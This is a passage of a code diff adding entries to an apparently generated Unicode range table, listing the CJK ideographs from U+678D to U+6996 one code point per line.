+ ["\u678D", "\u678D"], /* CJK Ideograph */
+ ["\u678E", "\u678E"], /* CJK Ideograph */
+ ["\u678F", "\u678F"], /* CJK Ideograph */
+ ["\u6790", "\u6790"], /* CJK Ideograph */
+ ["\u6791", "\u6791"], /* CJK Ideograph */
+ ["\u6792", "\u6792"], /* CJK Ideograph */
+ ["\u6793", "\u6793"], /* CJK Ideograph */
+ ["\u6794", "\u6794"], /* CJK Ideograph */
+ ["\u6795", "\u6795"], /* CJK Ideograph */
+ ["\u6796", "\u6796"], /* CJK Ideograph */
+ ["\u6797", "\u6797"], /* CJK Ideograph */
+ ["\u6798", "\u6798"], /* CJK Ideograph */
+ ["\u6799", "\u6799"], /* CJK Ideograph */
+ ["\u679A", "\u679A"], /* CJK Ideograph */
+ ["\u679B", "\u679B"], /* CJK Ideograph */
+ ["\u679C", "\u679C"], /* CJK Ideograph */
+ ["\u679D", "\u679D"], /* CJK Ideograph */
+ ["\u679E", "\u679E"], /* CJK Ideograph */
+ ["\u679F", "\u679F"], /* CJK Ideograph */
+ ["\u67A0", "\u67A0"], /* CJK Ideograph */
+ ["\u67A1", "\u67A1"], /* CJK Ideograph */
+ ["\u67A2", "\u67A2"], /* CJK Ideograph */
+ ["\u67A3", "\u67A3"], /* CJK Ideograph */
+ ["\u67A4", "\u67A4"], /* CJK Ideograph */
+ ["\u67A5", "\u67A5"], /* CJK Ideograph */
+ ["\u67A6", "\u67A6"], /* CJK Ideograph */
+ ["\u67A7", "\u67A7"], /* CJK Ideograph */
+ ["\u67A8", "\u67A8"], /* CJK Ideograph */
+ ["\u67A9", "\u67A9"], /* CJK Ideograph */
+ ["\u67AA", "\u67AA"], /* CJK Ideograph */
+ ["\u67AB", "\u67AB"], /* CJK Ideograph */
+ ["\u67AC", "\u67AC"], /* CJK Ideograph */
+ ["\u67AD", "\u67AD"], /* CJK Ideograph */
+ ["\u67AE", "\u67AE"], /* CJK Ideograph */
+ ["\u67AF", "\u67AF"], /* CJK Ideograph */
+ ["\u67B0", "\u67B0"], /* CJK Ideograph */
+ ["\u67B1", "\u67B1"], /* CJK Ideograph */
+ ["\u67B2", "\u67B2"], /* CJK Ideograph */
+ ["\u67B3", "\u67B3"], /* CJK Ideograph */
+ ["\u67B4", "\u67B4"], /* CJK Ideograph */
+ ["\u67B5", "\u67B5"], /* CJK Ideograph */
+ ["\u67B6", "\u67B6"], /* CJK Ideograph */
+ ["\u67B7", "\u67B7"], /* CJK Ideograph */
+ ["\u67B8", "\u67B8"], /* CJK Ideograph */
+ ["\u67B9", "\u67B9"], /* CJK Ideograph */
+ ["\u67BA", "\u67BA"], /* CJK Ideograph */
+ ["\u67BB", "\u67BB"], /* CJK Ideograph */
+ ["\u67BC", "\u67BC"], /* CJK Ideograph */
+ ["\u67BD", "\u67BD"], /* CJK Ideograph */
+ ["\u67BE", "\u67BE"], /* CJK Ideograph */
+ ["\u67BF", "\u67BF"], /* CJK Ideograph */
+ ["\u67C0", "\u67C0"], /* CJK Ideograph */
+ ["\u67C1", "\u67C1"], /* CJK Ideograph */
+ ["\u67C2", "\u67C2"], /* CJK Ideograph */
+ ["\u67C3", "\u67C3"], /* CJK Ideograph */
+ ["\u67C4", "\u67C4"], /* CJK Ideograph */
+ ["\u67C5", "\u67C5"], /* CJK Ideograph */
+ ["\u67C6", "\u67C6"], /* CJK Ideograph */
+ ["\u67C7", "\u67C7"], /* CJK Ideograph */
+ ["\u67C8", "\u67C8"], /* CJK Ideograph */
+ ["\u67C9", "\u67C9"], /* CJK Ideograph */
+ ["\u67CA", "\u67CA"], /* CJK Ideograph */
+ ["\u67CB", "\u67CB"], /* CJK Ideograph */
+ ["\u67CC", "\u67CC"], /* CJK Ideograph */
+ ["\u67CD", "\u67CD"], /* CJK Ideograph */
+ ["\u67CE", "\u67CE"], /* CJK Ideograph */
+ ["\u67CF", "\u67CF"], /* CJK Ideograph */
+ ["\u67D0", "\u67D0"], /* CJK Ideograph */
+ ["\u67D1", "\u67D1"], /* CJK Ideograph */
+ ["\u67D2", "\u67D2"], /* CJK Ideograph */
+ ["\u67D3", "\u67D3"], /* CJK Ideograph */
+ ["\u67D4", "\u67D4"], /* CJK Ideograph */
+ ["\u67D5", "\u67D5"], /* CJK Ideograph */
+ ["\u67D6", "\u67D6"], /* CJK Ideograph */
+ ["\u67D7", "\u67D7"], /* CJK Ideograph */
+ ["\u67D8", "\u67D8"], /* CJK Ideograph */
+ ["\u67D9", "\u67D9"], /* CJK Ideograph */
+ ["\u67DA", "\u67DA"], /* CJK Ideograph */
+ ["\u67DB", "\u67DB"], /* CJK Ideograph */
+ ["\u67DC", "\u67DC"], /* CJK Ideograph */
+ ["\u67DD", "\u67DD"], /* CJK Ideograph */
+ ["\u67DE", "\u67DE"], /* CJK Ideograph */
+ ["\u67DF", "\u67DF"], /* CJK Ideograph */
+ ["\u67E0", "\u67E0"], /* CJK Ideograph */
+ ["\u67E1", "\u67E1"], /* CJK Ideograph */
+ ["\u67E2", "\u67E2"], /* CJK Ideograph */
+ ["\u67E3", "\u67E3"], /* CJK Ideograph */
+ ["\u67E4", "\u67E4"], /* CJK Ideograph */
+ ["\u67E5", "\u67E5"], /* CJK Ideograph */
+ ["\u67E6", "\u67E6"], /* CJK Ideograph */
+ ["\u67E7", "\u67E7"], /* CJK Ideograph */
+ ["\u67E8", "\u67E8"], /* CJK Ideograph */
+ ["\u67E9", "\u67E9"], /* CJK Ideograph */
+ ["\u67EA", "\u67EA"], /* CJK Ideograph */
+ ["\u67EB", "\u67EB"], /* CJK Ideograph */
+ ["\u67EC", "\u67EC"], /* CJK Ideograph */
+ ["\u67ED", "\u67ED"], /* CJK Ideograph */
+ ["\u67EE", "\u67EE"], /* CJK Ideograph */
+ ["\u67EF", "\u67EF"], /* CJK Ideograph */
+ ["\u67F0", "\u67F0"], /* CJK Ideograph */
+ ["\u67F1", "\u67F1"], /* CJK Ideograph */
+ ["\u67F2", "\u67F2"], /* CJK Ideograph */
+ ["\u67F3", "\u67F3"], /* CJK Ideograph */
+ ["\u67F4", "\u67F4"], /* CJK Ideograph */
+ ["\u67F5", "\u67F5"], /* CJK Ideograph */
+ ["\u67F6", "\u67F6"], /* CJK Ideograph */
+ ["\u67F7", "\u67F7"], /* CJK Ideograph */
+ ["\u67F8", "\u67F8"], /* CJK Ideograph */
+ ["\u67F9", "\u67F9"], /* CJK Ideograph */
+ ["\u67FA", "\u67FA"], /* CJK Ideograph */
+ ["\u67FB", "\u67FB"], /* CJK Ideograph */
+ ["\u67FC", "\u67FC"], /* CJK Ideograph */
+ ["\u67FD", "\u67FD"], /* CJK Ideograph */
+ ["\u67FE", "\u67FE"], /* CJK Ideograph */
+ ["\u67FF", "\u67FF"], /* CJK Ideograph */
+ ["\u6800", "\u6800"], /* CJK Ideograph */
+ ["\u6801", "\u6801"], /* CJK Ideograph */
+ ["\u6802", "\u6802"], /* CJK Ideograph */
+ ["\u6803", "\u6803"], /* CJK Ideograph */
+ ["\u6804", "\u6804"], /* CJK Ideograph */
+ ["\u6805", "\u6805"], /* CJK Ideograph */
+ ["\u6806", "\u6806"], /* CJK Ideograph */
+ ["\u6807", "\u6807"], /* CJK Ideograph */
+ ["\u6808", "\u6808"], /* CJK Ideograph */
+ ["\u6809", "\u6809"], /* CJK Ideograph */
+ ["\u680A", "\u680A"], /* CJK Ideograph */
+ ["\u680B", "\u680B"], /* CJK Ideograph */
+ ["\u680C", "\u680C"], /* CJK Ideograph */
+ ["\u680D", "\u680D"], /* CJK Ideograph */
+ ["\u680E", "\u680E"], /* CJK Ideograph */
+ ["\u680F", "\u680F"], /* CJK Ideograph */
+ ["\u6810", "\u6810"], /* CJK Ideograph */
+ ["\u6811", "\u6811"], /* CJK Ideograph */
+ ["\u6812", "\u6812"], /* CJK Ideograph */
+ ["\u6813", "\u6813"], /* CJK Ideograph */
+ ["\u6814", "\u6814"], /* CJK Ideograph */
+ ["\u6815", "\u6815"], /* CJK Ideograph */
+ ["\u6816", "\u6816"], /* CJK Ideograph */
+ ["\u6817", "\u6817"], /* CJK Ideograph */
+ ["\u6818", "\u6818"], /* CJK Ideograph */
+ ["\u6819", "\u6819"], /* CJK Ideograph */
+ ["\u681A", "\u681A"], /* CJK Ideograph */
+ ["\u681B", "\u681B"], /* CJK Ideograph */
+ ["\u681C", "\u681C"], /* CJK Ideograph */
+ ["\u681D", "\u681D"], /* CJK Ideograph */
+ ["\u681E", "\u681E"], /* CJK Ideograph */
+ ["\u681F", "\u681F"], /* CJK Ideograph */
+ ["\u6820", "\u6820"], /* CJK Ideograph */
+ ["\u6821", "\u6821"], /* CJK Ideograph */
+ ["\u6822", "\u6822"], /* CJK Ideograph */
+ ["\u6823", "\u6823"], /* CJK Ideograph */
+ ["\u6824", "\u6824"], /* CJK Ideograph */
+ ["\u6825", "\u6825"], /* CJK Ideograph */
+ ["\u6826", "\u6826"], /* CJK Ideograph */
+ ["\u6827", "\u6827"], /* CJK Ideograph */
+ ["\u6828", "\u6828"], /* CJK Ideograph */
+ ["\u6829", "\u6829"], /* CJK Ideograph */
+ ["\u682A", "\u682A"], /* CJK Ideograph */
+ ["\u682B", "\u682B"], /* CJK Ideograph */
+ ["\u682C", "\u682C"], /* CJK Ideograph */
+ ["\u682D", "\u682D"], /* CJK Ideograph */
+ ["\u682E", "\u682E"], /* CJK Ideograph */
+ ["\u682F", "\u682F"], /* CJK Ideograph */
+ ["\u6830", "\u6830"], /* CJK Ideograph */
+ ["\u6831", "\u6831"], /* CJK Ideograph */
+ ["\u6832", "\u6832"], /* CJK Ideograph */
+ ["\u6833", "\u6833"], /* CJK Ideograph */
+ ["\u6834", "\u6834"], /* CJK Ideograph */
+ ["\u6835", "\u6835"], /* CJK Ideograph */
+ ["\u6836", "\u6836"], /* CJK Ideograph */
+ ["\u6837", "\u6837"], /* CJK Ideograph */
+ ["\u6838", "\u6838"], /* CJK Ideograph */
+ ["\u6839", "\u6839"], /* CJK Ideograph */
+ ["\u683A", "\u683A"], /* CJK Ideograph */
+ ["\u683B", "\u683B"], /* CJK Ideograph */
+ ["\u683C", "\u683C"], /* CJK Ideograph */
+ ["\u683D", "\u683D"], /* CJK Ideograph */
+ ["\u683E", "\u683E"], /* CJK Ideograph */
+ ["\u683F", "\u683F"], /* CJK Ideograph */
+ ["\u6840", "\u6840"], /* CJK Ideograph */
+ ["\u6841", "\u6841"], /* CJK Ideograph */
+ ["\u6842", "\u6842"], /* CJK Ideograph */
+ ["\u6843", "\u6843"], /* CJK Ideograph */
+ ["\u6844", "\u6844"], /* CJK Ideograph */
+ ["\u6845", "\u6845"], /* CJK Ideograph */
+ ["\u6846", "\u6846"], /* CJK Ideograph */
+ ["\u6847", "\u6847"], /* CJK Ideograph */
+ ["\u6848", "\u6848"], /* CJK Ideograph */
+ ["\u6849", "\u6849"], /* CJK Ideograph */
+ ["\u684A", "\u684A"], /* CJK Ideograph */
+ ["\u684B", "\u684B"], /* CJK Ideograph */
+ ["\u684C", "\u684C"], /* CJK Ideograph */
+ ["\u684D", "\u684D"], /* CJK Ideograph */
+ ["\u684E", "\u684E"], /* CJK Ideograph */
+ ["\u684F", "\u684F"], /* CJK Ideograph */
+ ["\u6850", "\u6850"], /* CJK Ideograph */
+ ["\u6851", "\u6851"], /* CJK Ideograph */
+ ["\u6852", "\u6852"], /* CJK Ideograph */
+ ["\u6853", "\u6853"], /* CJK Ideograph */
+ ["\u6854", "\u6854"], /* CJK Ideograph */
+ ["\u6855", "\u6855"], /* CJK Ideograph */
+ ["\u6856", "\u6856"], /* CJK Ideograph */
+ ["\u6857", "\u6857"], /* CJK Ideograph */
+ ["\u6858", "\u6858"], /* CJK Ideograph */
+ ["\u6859", "\u6859"], /* CJK Ideograph */
+ ["\u685A", "\u685A"], /* CJK Ideograph */
+ ["\u685B", "\u685B"], /* CJK Ideograph */
+ ["\u685C", "\u685C"], /* CJK Ideograph */
+ ["\u685D", "\u685D"], /* CJK Ideograph */
+ ["\u685E", "\u685E"], /* CJK Ideograph */
+ ["\u685F", "\u685F"], /* CJK Ideograph */
+ ["\u6860", "\u6860"], /* CJK Ideograph */
+ ["\u6861", "\u6861"], /* CJK Ideograph */
+ ["\u6862", "\u6862"], /* CJK Ideograph */
+ ["\u6863", "\u6863"], /* CJK Ideograph */
+ ["\u6864", "\u6864"], /* CJK Ideograph */
+ ["\u6865", "\u6865"], /* CJK Ideograph */
+ ["\u6866", "\u6866"], /* CJK Ideograph */
+ ["\u6867", "\u6867"], /* CJK Ideograph */
+ ["\u6868", "\u6868"], /* CJK Ideograph */
+ ["\u6869", "\u6869"], /* CJK Ideograph */
+ ["\u686A", "\u686A"], /* CJK Ideograph */
+ ["\u686B", "\u686B"], /* CJK Ideograph */
+ ["\u686C", "\u686C"], /* CJK Ideograph */
+ ["\u686D", "\u686D"], /* CJK Ideograph */
+ ["\u686E", "\u686E"], /* CJK Ideograph */
+ ["\u686F", "\u686F"], /* CJK Ideograph */
+ ["\u6870", "\u6870"], /* CJK Ideograph */
+ ["\u6871", "\u6871"], /* CJK Ideograph */
+ ["\u6872", "\u6872"], /* CJK Ideograph */
+ ["\u6873", "\u6873"], /* CJK Ideograph */
+ ["\u6874", "\u6874"], /* CJK Ideograph */
+ ["\u6875", "\u6875"], /* CJK Ideograph */
+ ["\u6876", "\u6876"], /* CJK Ideograph */
+ ["\u6877", "\u6877"], /* CJK Ideograph */
+ ["\u6878", "\u6878"], /* CJK Ideograph */
+ ["\u6879", "\u6879"], /* CJK Ideograph */
+ ["\u687A", "\u687A"], /* CJK Ideograph */
+ ["\u687B", "\u687B"], /* CJK Ideograph */
+ ["\u687C", "\u687C"], /* CJK Ideograph */
+ ["\u687D", "\u687D"], /* CJK Ideograph */
+ ["\u687E", "\u687E"], /* CJK Ideograph */
+ ["\u687F", "\u687F"], /* CJK Ideograph */
+ ["\u6880", "\u6880"], /* CJK Ideograph */
+ ["\u6881", "\u6881"], /* CJK Ideograph */
+ ["\u6882", "\u6882"], /* CJK Ideograph */
+ ["\u6883", "\u6883"], /* CJK Ideograph */
+ ["\u6884", "\u6884"], /* CJK Ideograph */
+ ["\u6885", "\u6885"], /* CJK Ideograph */
+ ["\u6886", "\u6886"], /* CJK Ideograph */
+ ["\u6887", "\u6887"], /* CJK Ideograph */
+ ["\u6888", "\u6888"], /* CJK Ideograph */
+ ["\u6889", "\u6889"], /* CJK Ideograph */
+ ["\u688A", "\u688A"], /* CJK Ideograph */
+ ["\u688B", "\u688B"], /* CJK Ideograph */
+ ["\u688C", "\u688C"], /* CJK Ideograph */
+ ["\u688D", "\u688D"], /* CJK Ideograph */
+ ["\u688E", "\u688E"], /* CJK Ideograph */
+ ["\u688F", "\u688F"], /* CJK Ideograph */
+ ["\u6890", "\u6890"], /* CJK Ideograph */
+ ["\u6891", "\u6891"], /* CJK Ideograph */
+ ["\u6892", "\u6892"], /* CJK Ideograph */
+ ["\u6893", "\u6893"], /* CJK Ideograph */
+ ["\u6894", "\u6894"], /* CJK Ideograph */
+ ["\u6895", "\u6895"], /* CJK Ideograph */
+ ["\u6896", "\u6896"], /* CJK Ideograph */
+ ["\u6897", "\u6897"], /* CJK Ideograph */
+ ["\u6898", "\u6898"], /* CJK Ideograph */
+ ["\u6899", "\u6899"], /* CJK Ideograph */
+ ["\u689A", "\u689A"], /* CJK Ideograph */
+ ["\u689B", "\u689B"], /* CJK Ideograph */
+ ["\u689C", "\u689C"], /* CJK Ideograph */
+ ["\u689D", "\u689D"], /* CJK Ideograph */
+ ["\u689E", "\u689E"], /* CJK Ideograph */
+ ["\u689F", "\u689F"], /* CJK Ideograph */
+ ["\u68A0", "\u68A0"], /* CJK Ideograph */
+ ["\u68A1", "\u68A1"], /* CJK Ideograph */
+ ["\u68A2", "\u68A2"], /* CJK Ideograph */
+ ["\u68A3", "\u68A3"], /* CJK Ideograph */
+ ["\u68A4", "\u68A4"], /* CJK Ideograph */
+ ["\u68A5", "\u68A5"], /* CJK Ideograph */
+ ["\u68A6", "\u68A6"], /* CJK Ideograph */
+ ["\u68A7", "\u68A7"], /* CJK Ideograph */
+ ["\u68A8", "\u68A8"], /* CJK Ideograph */
+ ["\u68A9", "\u68A9"], /* CJK Ideograph */
+ ["\u68AA", "\u68AA"], /* CJK Ideograph */
+ ["\u68AB", "\u68AB"], /* CJK Ideograph */
+ ["\u68AC", "\u68AC"], /* CJK Ideograph */
+ ["\u68AD", "\u68AD"], /* CJK Ideograph */
+ ["\u68AE", "\u68AE"], /* CJK Ideograph */
+ ["\u68AF", "\u68AF"], /* CJK Ideograph */
+ ["\u68B0", "\u68B0"], /* CJK Ideograph */
+ ["\u68B1", "\u68B1"], /* CJK Ideograph */
+ ["\u68B2", "\u68B2"], /* CJK Ideograph */
+ ["\u68B3", "\u68B3"], /* CJK Ideograph */
+ ["\u68B4", "\u68B4"], /* CJK Ideograph */
+ ["\u68B5", "\u68B5"], /* CJK Ideograph */
+ ["\u68B6", "\u68B6"], /* CJK Ideograph */
+ ["\u68B7", "\u68B7"], /* CJK Ideograph */
+ ["\u68B8", "\u68B8"], /* CJK Ideograph */
+ ["\u68B9", "\u68B9"], /* CJK Ideograph */
+ ["\u68BA", "\u68BA"], /* CJK Ideograph */
+ ["\u68BB", "\u68BB"], /* CJK Ideograph */
+ ["\u68BC", "\u68BC"], /* CJK Ideograph */
+ ["\u68BD", "\u68BD"], /* CJK Ideograph */
+ ["\u68BE", "\u68BE"], /* CJK Ideograph */
+ ["\u68BF", "\u68BF"], /* CJK Ideograph */
+ ["\u68C0", "\u68C0"], /* CJK Ideograph */
+ ["\u68C1", "\u68C1"], /* CJK Ideograph */
+ ["\u68C2", "\u68C2"], /* CJK Ideograph */
+ ["\u68C3", "\u68C3"], /* CJK Ideograph */
+ ["\u68C4", "\u68C4"], /* CJK Ideograph */
+ ["\u68C5", "\u68C5"], /* CJK Ideograph */
+ ["\u68C6", "\u68C6"], /* CJK Ideograph */
+ ["\u68C7", "\u68C7"], /* CJK Ideograph */
+ ["\u68C8", "\u68C8"], /* CJK Ideograph */
+ ["\u68C9", "\u68C9"], /* CJK Ideograph */
+ ["\u68CA", "\u68CA"], /* CJK Ideograph */
+ ["\u68CB", "\u68CB"], /* CJK Ideograph */
+ ["\u68CC", "\u68CC"], /* CJK Ideograph */
+ ["\u68CD", "\u68CD"], /* CJK Ideograph */
+ ["\u68CE", "\u68CE"], /* CJK Ideograph */
+ ["\u68CF", "\u68CF"], /* CJK Ideograph */
+ ["\u68D0", "\u68D0"], /* CJK Ideograph */
+ ["\u68D1", "\u68D1"], /* CJK Ideograph */
+ ["\u68D2", "\u68D2"], /* CJK Ideograph */
+ ["\u68D3", "\u68D3"], /* CJK Ideograph */
+ ["\u68D4", "\u68D4"], /* CJK Ideograph */
+ ["\u68D5", "\u68D5"], /* CJK Ideograph */
+ ["\u68D6", "\u68D6"], /* CJK Ideograph */
+ ["\u68D7", "\u68D7"], /* CJK Ideograph */
+ ["\u68D8", "\u68D8"], /* CJK Ideograph */
+ ["\u68D9", "\u68D9"], /* CJK Ideograph */
+ ["\u68DA", "\u68DA"], /* CJK Ideograph */
+ ["\u68DB", "\u68DB"], /* CJK Ideograph */
+ ["\u68DC", "\u68DC"], /* CJK Ideograph */
+ ["\u68DD", "\u68DD"], /* CJK Ideograph */
+ ["\u68DE", "\u68DE"], /* CJK Ideograph */
+ ["\u68DF", "\u68DF"], /* CJK Ideograph */
+ ["\u68E0", "\u68E0"], /* CJK Ideograph */
+ ["\u68E1", "\u68E1"], /* CJK Ideograph */
+ ["\u68E2", "\u68E2"], /* CJK Ideograph */
+ ["\u68E3", "\u68E3"], /* CJK Ideograph */
+ ["\u68E4", "\u68E4"], /* CJK Ideograph */
+ ["\u68E5", "\u68E5"], /* CJK Ideograph */
+ ["\u68E6", "\u68E6"], /* CJK Ideograph */
+ ["\u68E7", "\u68E7"], /* CJK Ideograph */
+ ["\u68E8", "\u68E8"], /* CJK Ideograph */
+ ["\u68E9", "\u68E9"], /* CJK Ideograph */
+ ["\u68EA", "\u68EA"], /* CJK Ideograph */
+ ["\u68EB", "\u68EB"], /* CJK Ideograph */
+ ["\u68EC", "\u68EC"], /* CJK Ideograph */
+ ["\u68ED", "\u68ED"], /* CJK Ideograph */
+ ["\u68EE", "\u68EE"], /* CJK Ideograph */
+ ["\u68EF", "\u68EF"], /* CJK Ideograph */
+ ["\u68F0", "\u68F0"], /* CJK Ideograph */
+ ["\u68F1", "\u68F1"], /* CJK Ideograph */
+ ["\u68F2", "\u68F2"], /* CJK Ideograph */
+ ["\u68F3", "\u68F3"], /* CJK Ideograph */
+ ["\u68F4", "\u68F4"], /* CJK Ideograph */
+ ["\u68F5", "\u68F5"], /* CJK Ideograph */
+ ["\u68F6", "\u68F6"], /* CJK Ideograph */
+ ["\u68F7", "\u68F7"], /* CJK Ideograph */
+ ["\u68F8", "\u68F8"], /* CJK Ideograph */
+ ["\u68F9", "\u68F9"], /* CJK Ideograph */
+ ["\u68FA", "\u68FA"], /* CJK Ideograph */
+ ["\u68FB", "\u68FB"], /* CJK Ideograph */
+ ["\u68FC", "\u68FC"], /* CJK Ideograph */
+ ["\u68FD", "\u68FD"], /* CJK Ideograph */
+ ["\u68FE", "\u68FE"], /* CJK Ideograph */
+ ["\u68FF", "\u68FF"], /* CJK Ideograph */
+ ["\u6900", "\u6900"], /* CJK Ideograph */
+ ["\u6901", "\u6901"], /* CJK Ideograph */
+ ["\u6902", "\u6902"], /* CJK Ideograph */
+ ["\u6903", "\u6903"], /* CJK Ideograph */
+ ["\u6904", "\u6904"], /* CJK Ideograph */
+ ["\u6905", "\u6905"], /* CJK Ideograph */
+ ["\u6906", "\u6906"], /* CJK Ideograph */
+ ["\u6907", "\u6907"], /* CJK Ideograph */
+ ["\u6908", "\u6908"], /* CJK Ideograph */
+ ["\u6909", "\u6909"], /* CJK Ideograph */
+ ["\u690A", "\u690A"], /* CJK Ideograph */
+ ["\u690B", "\u690B"], /* CJK Ideograph */
+ ["\u690C", "\u690C"], /* CJK Ideograph */
+ ["\u690D", "\u690D"], /* CJK Ideograph */
+ ["\u690E", "\u690E"], /* CJK Ideograph */
+ ["\u690F", "\u690F"], /* CJK Ideograph */
+ ["\u6910", "\u6910"], /* CJK Ideograph */
+ ["\u6911", "\u6911"], /* CJK Ideograph */
+ ["\u6912", "\u6912"], /* CJK Ideograph */
+ ["\u6913", "\u6913"], /* CJK Ideograph */
+ ["\u6914", "\u6914"], /* CJK Ideograph */
+ ["\u6915", "\u6915"], /* CJK Ideograph */
+ ["\u6916", "\u6916"], /* CJK Ideograph */
+ ["\u6917", "\u6917"], /* CJK Ideograph */
+ ["\u6918", "\u6918"], /* CJK Ideograph */
+ ["\u6919", "\u6919"], /* CJK Ideograph */
+ ["\u691A", "\u691A"], /* CJK Ideograph */
+ ["\u691B", "\u691B"], /* CJK Ideograph */
+ ["\u691C", "\u691C"], /* CJK Ideograph */
+ ["\u691D", "\u691D"], /* CJK Ideograph */
+ ["\u691E", "\u691E"], /* CJK Ideograph */
+ ["\u691F", "\u691F"], /* CJK Ideograph */
+ ["\u6920", "\u6920"], /* CJK Ideograph */
+ ["\u6921", "\u6921"], /* CJK Ideograph */
+ ["\u6922", "\u6922"], /* CJK Ideograph */
+ ["\u6923", "\u6923"], /* CJK Ideograph */
+ ["\u6924", "\u6924"], /* CJK Ideograph */
+ ["\u6925", "\u6925"], /* CJK Ideograph */
+ ["\u6926", "\u6926"], /* CJK Ideograph */
+ ["\u6927", "\u6927"], /* CJK Ideograph */
+ ["\u6928", "\u6928"], /* CJK Ideograph */
+ ["\u6929", "\u6929"], /* CJK Ideograph */
+ ["\u692A", "\u692A"], /* CJK Ideograph */
+ ["\u692B", "\u692B"], /* CJK Ideograph */
+ ["\u692C", "\u692C"], /* CJK Ideograph */
+ ["\u692D", "\u692D"], /* CJK Ideograph */
+ ["\u692E", "\u692E"], /* CJK Ideograph */
+ ["\u692F", "\u692F"], /* CJK Ideograph */
+ ["\u6930", "\u6930"], /* CJK Ideograph */
+ ["\u6931", "\u6931"], /* CJK Ideograph */
+ ["\u6932", "\u6932"], /* CJK Ideograph */
+ ["\u6933", "\u6933"], /* CJK Ideograph */
+ ["\u6934", "\u6934"], /* CJK Ideograph */
+ ["\u6935", "\u6935"], /* CJK Ideograph */
+ ["\u6936", "\u6936"], /* CJK Ideograph */
+ ["\u6937", "\u6937"], /* CJK Ideograph */
+ ["\u6938", "\u6938"], /* CJK Ideograph */
+ ["\u6939", "\u6939"], /* CJK Ideograph */
+ ["\u693A", "\u693A"], /* CJK Ideograph */
+ ["\u693B", "\u693B"], /* CJK Ideograph */
+ ["\u693C", "\u693C"], /* CJK Ideograph */
+ ["\u693D", "\u693D"], /* CJK Ideograph */
+ ["\u693E", "\u693E"], /* CJK Ideograph */
+ ["\u693F", "\u693F"], /* CJK Ideograph */
+ ["\u6940", "\u6940"], /* CJK Ideograph */
+ ["\u6941", "\u6941"], /* CJK Ideograph */
+ ["\u6942", "\u6942"], /* CJK Ideograph */
+ ["\u6943", "\u6943"], /* CJK Ideograph */
+ ["\u6944", "\u6944"], /* CJK Ideograph */
+ ["\u6945", "\u6945"], /* CJK Ideograph */
+ ["\u6946", "\u6946"], /* CJK Ideograph */
+ ["\u6947", "\u6947"], /* CJK Ideograph */
+ ["\u6948", "\u6948"], /* CJK Ideograph */
+ ["\u6949", "\u6949"], /* CJK Ideograph */
+ ["\u694A", "\u694A"], /* CJK Ideograph */
+ ["\u694B", "\u694B"], /* CJK Ideograph */
+ ["\u694C", "\u694C"], /* CJK Ideograph */
+ ["\u694D", "\u694D"], /* CJK Ideograph */
+ ["\u694E", "\u694E"], /* CJK Ideograph */
+ ["\u694F", "\u694F"], /* CJK Ideograph */
+ ["\u6950", "\u6950"], /* CJK Ideograph */
+ ["\u6951", "\u6951"], /* CJK Ideograph */
+ ["\u6952", "\u6952"], /* CJK Ideograph */
+ ["\u6953", "\u6953"], /* CJK Ideograph */
+ ["\u6954", "\u6954"], /* CJK Ideograph */
+ ["\u6955", "\u6955"], /* CJK Ideograph */
+ ["\u6956", "\u6956"], /* CJK Ideograph */
+ ["\u6957", "\u6957"], /* CJK Ideograph */
+ ["\u6958", "\u6958"], /* CJK Ideograph */
+ ["\u6959", "\u6959"], /* CJK Ideograph */
+ ["\u695A", "\u695A"], /* CJK Ideograph */
+ ["\u695B", "\u695B"], /* CJK Ideograph */
+ ["\u695C", "\u695C"], /* CJK Ideograph */
+ ["\u695D", "\u695D"], /* CJK Ideograph */
+ ["\u695E", "\u695E"], /* CJK Ideograph */
+ ["\u695F", "\u695F"], /* CJK Ideograph */
+ ["\u6960", "\u6960"], /* CJK Ideograph */
+ ["\u6961", "\u6961"], /* CJK Ideograph */
+ ["\u6962", "\u6962"], /* CJK Ideograph */
+ ["\u6963", "\u6963"], /* CJK Ideograph */
+ ["\u6964", "\u6964"], /* CJK Ideograph */
+ ["\u6965", "\u6965"], /* CJK Ideograph */
+ ["\u6966", "\u6966"], /* CJK Ideograph */
+ ["\u6967", "\u6967"], /* CJK Ideograph */
+ ["\u6968", "\u6968"], /* CJK Ideograph */
+ ["\u6969", "\u6969"], /* CJK Ideograph */
+ ["\u696A", "\u696A"], /* CJK Ideograph */
+ ["\u696B", "\u696B"], /* CJK Ideograph */
+ ["\u696C", "\u696C"], /* CJK Ideograph */
+ ["\u696D", "\u696D"], /* CJK Ideograph */
+ ["\u696E", "\u696E"], /* CJK Ideograph */
+ ["\u696F", "\u696F"], /* CJK Ideograph */
+ ["\u6970", "\u6970"], /* CJK Ideograph */
+ ["\u6971", "\u6971"], /* CJK Ideograph */
+ ["\u6972", "\u6972"], /* CJK Ideograph */
+ ["\u6973", "\u6973"], /* CJK Ideograph */
+ ["\u6974", "\u6974"], /* CJK Ideograph */
+ ["\u6975", "\u6975"], /* CJK Ideograph */
+ ["\u6976", "\u6976"], /* CJK Ideograph */
+ ["\u6977", "\u6977"], /* CJK Ideograph */
+ ["\u6978", "\u6978"], /* CJK Ideograph */
+ ["\u6979", "\u6979"], /* CJK Ideograph */
+ ["\u697A", "\u697A"], /* CJK Ideograph */
+ ["\u697B", "\u697B"], /* CJK Ideograph */
+ ["\u697C", "\u697C"], /* CJK Ideograph */
+ ["\u697D", "\u697D"], /* CJK Ideograph */
+ ["\u697E", "\u697E"], /* CJK Ideograph */
+ ["\u697F", "\u697F"], /* CJK Ideograph */
+ ["\u6980", "\u6980"], /* CJK Ideograph */
+ ["\u6981", "\u6981"], /* CJK Ideograph */
+ ["\u6982", "\u6982"], /* CJK Ideograph */
+ ["\u6983", "\u6983"], /* CJK Ideograph */
+ ["\u6984", "\u6984"], /* CJK Ideograph */
+ ["\u6985", "\u6985"], /* CJK Ideograph */
+ ["\u6986", "\u6986"], /* CJK Ideograph */
+ ["\u6987", "\u6987"], /* CJK Ideograph */
+ ["\u6988", "\u6988"], /* CJK Ideograph */
+ ["\u6989", "\u6989"], /* CJK Ideograph */
+ ["\u698A", "\u698A"], /* CJK Ideograph */
+ ["\u698B", "\u698B"], /* CJK Ideograph */
+ ["\u698C", "\u698C"], /* CJK Ideograph */
+ ["\u698D", "\u698D"], /* CJK Ideograph */
+ ["\u698E", "\u698E"], /* CJK Ideograph */
+ ["\u698F", "\u698F"], /* CJK Ideograph */
+ ["\u6990", "\u6990"], /* CJK Ideograph */
+ ["\u6991", "\u6991"], /* CJK Ideograph */
+ ["\u6992", "\u6992"], /* CJK Ideograph */
+ ["\u6993", "\u6993"], /* CJK Ideograph */
+ ["\u6994", "\u6994"], /* CJK Ideograph */
+ ["\u6995", "\u6995"], /* CJK Ideograph */
+ ["\u6996", "\u6996"], /* CJK Ideograph */
